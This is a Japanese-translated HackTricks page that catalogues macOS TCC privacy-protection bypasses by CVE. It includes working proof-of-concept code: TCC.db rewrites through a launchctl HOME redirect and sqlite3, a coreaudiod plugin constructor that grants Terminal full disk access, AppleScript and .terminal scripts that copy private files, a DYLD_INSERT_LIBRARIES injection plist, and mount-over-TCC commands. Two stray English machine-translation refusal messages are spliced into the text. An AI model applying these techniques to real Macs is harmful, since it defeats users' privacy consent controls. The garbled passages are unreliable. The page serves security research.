hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses
2024-01-05 12:04:17 +00:00
..
macos-apple-scripts.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-01-05 12:04:17 +00:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-01-05 12:04:17 +00:00

macOS TCC バイパス

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!

HackTricksをサポートする他の方法:

機能別

書き込みバイパス

これはバイパスではありません。これはTCCがどのように機能するかの一例です書き込みから保護されていません。もしTerminalがユーザーのデスクトップの読み取りアクセスを持っていなくても、デスクトップに対して書き込むことはできます

username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

com.apple.macl 拡張属性は、新しいファイルに追加され、作成者のアプリがそれを読むためのアクセスを許可します。

SSH バイパス

デフォルトでは、SSH 経由のアクセスは「フルディスクアクセス」を持っていました。これを無効にするには、リストに記載されているが無効化されている必要があります(リストから削除しても権限は削除されません):

ここでは、いくつかのマルウェアがこの保護をバイパスする方法の例を見つけることができます:

{% hint style="danger" %} SSHを有効にするためには、現在フルディスクアクセスが必要であることに注意してください。 {% endhint %}

拡張子の処理 - CVE-2022-26767

属性**com.apple.maclは、特定のアプリケーションがそれを読むための権限を与えるためにファイルに与えられます。この属性は、アプリの上にファイルをドラッグ&ドロップしたとき、またはユーザーがファイルをダブルクリックしてデフォルトのアプリケーション**で開いたときに設定されます。

したがって、ユーザーは悪意のあるアプリを登録してすべての拡張子を処理し、Launch Servicesを呼び出して任意のファイルを開くことができます(そのため、悪意のあるファイルにはそれを読むためのアクセスが許可されます)。

iCloud

権限**com.apple.private.icloud-account-accessを使用すると、com.apple.iCloudHelper** XPCサービスと通信し、iCloudトークンを提供することができます。

iMovieGaragebandはこの権限を持っていました。

その権限からiCloudトークンを取得するためのエクスプロイトについての詳細は、トーク:#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regulaをチェックしてください。

kTCCServiceAppleEvents / Automation

kTCCServiceAppleEvents 権限を持つアプリは、他のアプリを制御することができます。これは、他のアプリに付与された権限を悪用することができることを意味します。

Apple Scriptsについての詳細は以下をチェックしてください

{% content-ref url="macos-apple-scripts.md" %} macos-apple-scripts.md {% endcontent-ref %}

例えば、アプリが**iTermに対するAutomation権限を持っている場合**、この例では**Terminal**がiTermにアクセス権を持っています

iTermに対して

FDAを持っていないTerminalは、それを持っているiTermを呼び出し、アクションを実行するために使用することができます

{% code title="iterm.script" %}

tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell

Since the provided text does not contain any English content to translate, there is nothing to translate into Japanese. The text appears to be a closing tag for a code block in markdown syntax. If you provide English content from the hacking book, I can then translate it into Japanese for you.

osascript iterm.script

Finder 経由

Finder へのアクセス権を持つアプリであれば、以下のようなスクリプトを使用することができます:

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

アプリの振る舞いによるもの

CVE-20209934 - TCC

ユーザーランドのtccdデーモンは、HOME 環境変数を使用して、以下のTCCユーザーデータベースにアクセスしていました: $HOME/Library/Application Support/com.apple.TCC/TCC.db

このStack Exchangeの投稿によると、TCCデーモンはlaunchdを介して現在のユーザーのドメイン内で実行されているため、それに渡されるすべての環境変数を制御することが可能です。
したがって、攻撃者はlaunchctl内で$HOME環境変数を制御されたディレクトリを指すように設定しTCCデーモンを再起動し、その後直接TCCデータベースを変更して、エンドユーザーに通知することなく利用可能なすべてのTCCエンタイトルメントを自分自身に付与することができます
PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - Notes

NotesはTCCで保護された場所にアクセスできましたが、ートが作成されるとき、これは保護されていない場所に作成されます。したがって、保護されたファイルをートにコピーするようにNotesに依頼しつまり保護されていない場所に、その後ファイルにアクセスすることができました

CVE-2021-30782 - Translocation

バイナリ/usr/libexec/lsdとライブラリlibsecurity_translocateは、nullfsマウントを作成することを許可するcom.apple.private.nullfs_allowの権限を持ち、**kTCCServiceSystemPolicyAllFiles**を使用してすべてのファイルにアクセスするcom.apple.private.tcc.allowの権限を持っていました。

"Library"に検疫属性を追加し、com.apple.security.translocation XPCサービスを呼び出すと、Libraryが**$TMPDIR/AppTranslocation/d/d/Libraryにマップされ、Library内のすべてのドキュメントにアクセス**することができました。

CVE-2023-38571 - Music & TV

Musicには興味深い機能があります:実行中に、~/Music/Music/Media.localized/Automatically Add to Music.localizedにドロップされたファイルをユーザーの"メディアライブラリ"にインポートします。さらに、次のようなことを呼び出します:rename(a, b); ここでabは:

  • a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"
  • b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"

この**rename(a, b);の動作はレースコンディションに弱いです。なぜなら、Automatically Add to Music.localizedフォルダに偽のTCC.dbファイルを置き、新しいフォルダ(b)がファイルをコピーするために作成されたときに、それを削除し、~/Library/Application Support/com.apple.TCC**/にリンクすることが可能だからです。

SQLITE_SQLLOG_DIR - CVE-2023-32422

SQLITE_SQLLOG_DIR="path/folder"が基本的に意味するのは、開かれたdbがそのパスにコピーされるということです。このCVEでは、この制御が悪用され、FDAを持つプロセスによって開かれるTCCデータベース内で書き込みを行うSQLiteデータベースに悪用されました。そして、SQLITE_SQLLOG_DIRファイル名のシンボリックリンクとともに悪用することで、そのデータベースが開かれるときに、ユーザーのTCC.dbが開かれたもので上書きされます
詳細情報ライトアップでトークで

SQLITE_AUTO_TRACE

環境変数**SQLITE_AUTO_TRACEが設定されている場合、ライブラリlibsqlite3.dylibはすべてのSQLクエリのログ記録**を開始します。多くのアプリケーションがこのライブラリを使用していたため、それらのSQLiteクエリをすべてログに記録することが可能でした。

いくつかのAppleアプリケーションがこのライブラリを使用してTCCで保護された情報にアクセスしていました。

# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407

この環境変数は Metal フレームワークによって使用されます。これは様々なプログラムに依存しており、特にFDAを持つ Music が注目されます。

以下を設定します:MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"path が有効なディレクトリであれば、バグがトリガーされ、fs_usage を使用してプログラム内で何が起こっているかを確認できます:

  • path/.dat.nosyncXXXX.XXXXXXXはランダムと呼ばれるファイルが open() されます。
  • 一つ以上の write() がファイルに内容を書き込みます(これはコントロールできません)。
  • path/.dat.nosyncXXXX.XXXXXXpath/namerenamed() されます。

これは一時的なファイル書き込みであり、rename(old, new) は安全ではありません。

安全でない理由は、古いパスと新しいパスを別々に解決する必要があるためで、これには時間がかかることがあり、Race Conditionに対して脆弱になる可能性があります。詳細については、xnu 関数 renameat_internal() を確認してください。

{% hint style="danger" %} 基本的に、特権プロセスがあなたがコントロールするフォルダから名前を変更している場合、RCEを獲得して異なるファイルにアクセスさせるか、このCVEのように、特権アプリが作成したファイルを開いてFDを保存することができます。

名前変更があなたがコントロールするフォルダにアクセスする場合、ソースファイルを変更したり、それにFDを持っている間に、目的のファイルまたはフォルダをシンボリックリンクに変更することで、いつでも書き込むことができます。 {% endhint %}

これがCVEでの攻撃でした例えば、ユーザーの TCC.db を上書きするために、以下の手順を踏むことができます:

  • /Users/hacker/ourlink/Users/hacker/Library/Application Support/com.apple.TCC/ にリンクさせます。
  • ディレクトリ /Users/hacker/tmp/ を作成します。
  • MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db を設定します。
  • この環境変数を使用して Music を実行し、バグをトリガーします。
  • /Users/hacker/tmp/.dat.nosyncXXXX.XXXXXXXはランダムopen() をキャッチします。
  • ここで、このファイルを書き込み用に open() し、ファイルディスクリプタを保持します。
  • /Users/hacker/tmp/Users/hacker/ourlinkループ内で原子的に切り替えます
  • レースのウィンドウは非常に短いため、成功の可能性を最大限に高めるためにこれを行いますが、レースに負けてもデメリットはほとんどありません。
  • 少し待ちます。
  • 運が良かったかどうかをテストします。
  • だめなら、最初からやり直します。

詳細は https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html をご覧ください。

{% hint style="danger" %} 現在、環境変数 MTL_DUMP_PIPELINES_TO_JSON_FILE を使用しようとするとアプリは起動しません。 {% endhint %}

Apple Remote Desktop

rootとしてこのサービスを有効にすると、ARDエージェントはフルディスクアクセスを持つことになり、ユーザーが新しい TCCユーザーデータベース をコピーするように悪用することができます。

NFSHomeDirectory による

TCCはユーザーのHOMEフォルダ内のデータベースを使用して、ユーザーに固有のリソースへのアクセスを制御します。$HOME/Library/Application Support/com.apple.TCC/TCC.db
したがって、ユーザーが $HOME 環境変数を 異なるフォルダ に指すようにしてTCCを再起動することができれば、/Library/Application Support/com.apple.TCC/TCC.db に新しいTCCデータベースを作成し、任意のアプリに任意のTCC権限を付与するようにTCCを騙すことができます。

{% hint style="success" %} Appleはユーザープロファイル内に保存されている設定を NFSHomeDirectory 属性の $HOME の値 として使用するので、この値を変更する権限を持つアプリケーションを侵害することができれば(kTCCServiceSystemPolicySysAdminFiles、このオプションをTCCバイパスとして 武器化 することができます。 {% endhint %}

CVE-20209934 - TCC

CVE-2020-27937 - Directory Utility

CVE-2021-30970 - Powerdir

最初のPOCdsexportdsimport を使用して、ユーザーの HOME フォルダを変更します。

  1. 対象アプリの csreq ブロブを取得します。
  2. 必要なアクセスと csreq ブロブを含む偽の TCC.db ファイルを設置します。
  3. dsexport を使用してユーザーのディレクトリサービスエントリをエクスポートします。
  4. ユーザーのホームディレクトリを変更するためにディレクトリサービスエントリを変更します。
  5. dsimport を使用して変更されたディレクトリサービスエントリをインポートします。
  6. ユーザーの tccd を停止し、プロセスを再起動します。

二番目のPOCは /usr/libexec/configd を使用し、com.apple.private.tcc.allow という値 kTCCServiceSystemPolicySysAdminFiles を持っていました。
configd-t オプションで実行することが可能で、攻撃者は カスタムバンドルをロードする を指定できました。したがって、このエクスプロイトは、ユーザーのホームディレクトリを変更する dsexportdsimport の方法を configd コードインジェクション に置き換えます。

詳細は 元のレポート を確認してください。

プロセスインジェクションによる

TCC権限を悪用するためにプロセス内にコードをインジェクトするさまざまな技術があります

{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

さらに、TCCをバイパスするために見つかった最も一般的なプロセスインジェクションは プラグイン(ライブラリのロード) 経由です。
プラグインは通常、ライブラリやplistの形で追加コードであり、メインアプリケーションによってロードされ、そのコンテキストで実行されます。したがって、メインアプリケーションがTCC制限ファイルへのアクセスを持っている場合許可された権限やエンタイトルメントを介してカスタムコードもそれを持つことになります

CVE-2020-27937 - Directory Utility

アプリケーション /System/Library/CoreServices/Applications/Directory Utility.app はエンタイトルメント kTCCServiceSystemPolicySysAdminFiles を持ち、.daplug 拡張子のプラグインをロードし、ハード化されたランタイムを持っていませんでした。

このCVEを武器化するために、NFSHomeDirectory変更されます前述のエンタイトルメントを悪用して、ユーザーのTCCデータベースを乗っ取り、TCCをバイパスすることができます。

詳細は 元のレポート を確認してください。

CVE-2020-29621 - Coreaudiod

バイナリ /usr/sbin/coreaudiod はエンタイトルメント com.apple.security.cs.disable-library-validationcom.apple.private.tcc.manager を持っていました。最初のものは コードインジェクションを許可し、二番目のものは TCCを管理する アクセスを与えます。

このバイナリは /Library/Audio/Plug-Ins/HAL フォルダから サードパーティのプラグインをロード することができました。したがって、プラグインをロードして TCC権限を悪用する ことがこのPoCで可能でした

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

詳細については、オリジナルのレポートをご覧ください。

Device Abstraction Layer (DAL) プラグイン

Core Media I/O を介してカメラストリームを開くシステムアプリケーション(kTCCServiceCamera を持つアプリ)は、プロセス内で /Library/CoreMediaIO/Plug-Ins/DAL に位置するこれらのプラグインを読み込みますSIP制限なし

共通のコンストラクタを持つライブラリをそこに保存するだけで、コードを注入することができます。

いくつかのAppleアプリケーションがこの脆弱性にさらされていました。

Firefox

Firefoxアプリケーションは com.apple.security.cs.disable-library-validationcom.apple.security.cs.allow-dyld-environment-variables の権限を持っていました:

codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

詳細については、元のレポートを確認してください

CVE-2020-10006

バイナリ /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl は、権限 com.apple.private.tcc.allowcom.apple.security.get-task-allow を持っており、プロセス内にコードを注入し、TCCの権限を使用することができました。

CVE-2023-26818 - Telegram

Telegramは、権限 com.apple.security.cs.allow-dyld-environment-variablescom.apple.security.cs.disable-library-validation を持っていたため、カメラでの録画などの権限へのアクセスを得るために悪用することが可能でした。ペイロードはライトアップで見つけることができます

環境変数を使用してライブラリをロードする方法に注意してください。カスタムplistが作成され、このライブラリを注入し、launchctl を使用して起動しました:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist

openコマンドによる呼び出し

サンドボックス内でも**open**を呼び出すことが可能です。

ターミナルスクリプト

技術者が使用するコンピュータでは、ターミナルに**フルディスクアクセス(FDA)を与えることがよくあります。そして、それを使って.terminal**スクリプトを呼び出すことができます。

**.terminalスクリプトは、以下のようなplistファイルで、実行するコマンドはCommandString**キーに記述されています:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

アプリケーションは、/tmp のような場所にターミナルスクリプトを書き込み、次のようなコマンドで起動することができます:

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

マウントによる方法

CVE-2020-9771 - mount_apfs TCCバイパスおよび権限昇格

任意のユーザー(権限のないユーザーも含む)は、タイムマシンのスナップショットを作成してマウントし、そのスナップショットのすべてのファイルにアクセスすることができます。 必要な権限は、使用されるアプリケーション(例えばTerminal)がフルディスクアクセスFDA権限kTCCServiceSystemPolicyAllfiles)を持っていることで、これは管理者によって付与される必要があります。

{% code overflow="wrap" %}

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

より詳細な説明は元のレポートで見ることができます

CVE-2021-1784 & CVE-2021-30808 - TCCファイル上にマウント

TCC DBファイルが保護されていても、新しいTCC.dbファイルをディレクトリ上にマウントすることが可能でした:

{% code overflow="wrap" %}

# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg

Since the provided text does not contain any content to translate, I cannot provide a translation. If you provide the relevant English text that needs to be translated into Japanese, I will be able to assist you.

# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

完全なエクスプロイトオリジナルのライトアップで確認してください。

asr

ツール /usr/sbin/asr はディスク全体をコピーして、TCC保護をバイパスしながら別の場所にマウントすることができました。

位置情報サービス

/var/db/locationd/clients.plist には、位置情報サービスにアクセスを許可されたクライアントを示す第三のTCCデータベースがあります。
/var/db/locationd/ フォルダはDMGマウントから保護されていなかったので、独自のplistをマウントすることが可能でした。

スタートアップアプリによる

{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}

grepによる

複数の場合、ファイルはメールアドレス、電話番号、メッセージなどの機密情報を保護されていない場所に保存しますこれはAppleの脆弱性と見なされます

合成クリック

これはもう機能しませんが、過去には機能しました:

CoreGraphicsイベントを使用した別の方法:

参考文献

htARTE (HackTricks AWS Red Team Expert)で AWSハッキングをゼロからヒーローまで学ぶ!

HackTricksをサポートする他の方法: